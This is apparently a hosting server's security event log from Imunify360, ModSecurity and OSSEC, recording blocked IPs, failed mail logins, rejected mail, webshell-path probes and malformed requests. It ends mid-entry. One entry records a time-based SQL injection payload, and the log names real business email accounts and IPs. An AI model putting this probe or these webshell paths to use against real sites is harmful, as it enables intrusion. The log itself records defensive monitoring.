IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/8310558172.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.210.230
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/113478.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.255.219
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/263334.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:09:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.222.8
country_id: 1210997
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/344993.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.45.78
country_id: 2260494
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/432815.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.100.88
country_id: 1814991
description:
Jan 27 19:09:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.100.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.88
country_id: 1814991
description:
2026-01-27 19:09:10 dovecot_login authenticator failed for H=([111.26.100.88]) [111.26.100.88]:55400: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:11:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 19:13:08 H=([209.50.250.104]) [209.50.250.104]:56310 F=<nzvnhp@fkr.com.my> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:14:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:15:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:17:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 19:17:40 H=(localhost.localdomain) [78.153.140.207]:42096 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:20:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.127.53.61
country_id: 6252001
description:
Jan 27 19:20:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.127.53.61 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 44.244.32.34
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/postn.php||SC:/home2/fkrcom/public_html/img/postn.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-01-27 19:20:52 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (unmetature) [24.127.53.61]:36948: 535 Incorrect authentication data (set_id=shihui@pftfood.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:22:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.111.187.201
country_id: 3469034
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product.php?category=2K Thinner Series&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.195.244.159
country_id: 1733045
description:
[2026-01-27 19:23:55 +0800] info [webmaild] 210.195.244.159 - payment@tujusetia.my "POST /cpsess1653700017/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.139.178.45] != Current IP Address [210.195.244.159]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 19:23:59 H=([45.144.212.242]) [45.144.212.242]:60071 F=<no_reply@admin.com> rejected RCPT <hr_admin@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 19:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63359: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 19:24:27 H=(localhost.localdomain) [78.153.140.207]:33558 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:25:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:26:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 19:28:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:28:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.83.167
country_id: 1562822
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/index.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.15
country_id: 1269750
description:
Jan 27 19:29:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-01-27 19:30:46 dovecot_login authenticator failed for H=([182.95.87.148]) [182.95.184.82]:57694: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.184.82
country_id: 1269750
description:
Jan 27 19:30:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.184.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:30:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.68
country_id: 953987
description:
Jan 27 19:31:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:31:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.242.125.180
country_id: 798544
description:
Jan 27 19:32:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.242.125.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:33:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.121.235.15
country_id: 3469034
description:
Jan 27 19:35:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.121.235.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.70.171.228
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/from/16/263/1673226 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:36:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:37:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:39:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:41:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:42:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.214
country_id: 3077311
description:
Jan 27 19:44:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.188
country_id: 690791
description:
2026-01-27 19:44:40 H=([77.83.39.188]) [77.83.39.188]:54164 F=<enquiry@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:45:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.167
country_id: 3469034
description:
Jan 27 19:45:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/photos/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:47:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:48:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:50:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 19:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63394: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:52:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:54:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:56:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.241.108
country_id: 1562822
domain: stealthvenom.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/stealthvenom.com/clients/keeheong/upload/index.php?route=common/home HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:58:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:59:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-27 19:59:44 H=([102.254.0.12]) [102.253.0.7]:6341 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@oxbold.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 19:59:27 H=([45.144.212.242]) [45.144.212.242]:59604 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:01:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/lib/jquery.mousewheel-3.0.6.pack.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_SemiBold/stylesheet.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/main.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/jquery.min.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/navigation.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_RunActiveContent.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/glowbutton.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.css?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-thumbs.css?v=1.0.7 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/OpenSans-Light.ttf HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.61.121.239
country_id: 587116
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/private-pilot-license-malaysia.htm HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/jquery.fancybox.js?v=2.1.3 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:04:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:05:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 20:06:21 H=([104.37.174.67]) [104.37.174.67]:59735 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <roz@af-sb.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:07:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:09:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.202
country_id: 3175395
description:
Jan 27 20:09:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.202
country_id: 3175395
description:
Jan 27 20:10:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:10:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.42
country_id: 6252001
description:
2026-01-27 20:11:51 831169 [Warning] Aborted connection 831169 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.42' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:12:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.11.109
country_id: 1814991
description:
2026-01-27 20:14:46 H=(localhost.localdomain) [122.114.11.109]:45104 F=<s1132148@srvape.com> rejected RCPT <info@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:15:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77556974
name: IM360 WAF: The Double-Nested Malicious Referrer
abuser: 45.148.8.16
country_id: 798549
domain: visoft.com.my
description:
IM360 WAF: The Double-Nested Malicious Referrer||MV:if(now()=sysdate(),sleep(15),0)||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:16:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.251
country_id: 2510769
description:
Jan 27 20:17:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:18:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.134.19
country_id: 3469034
description:
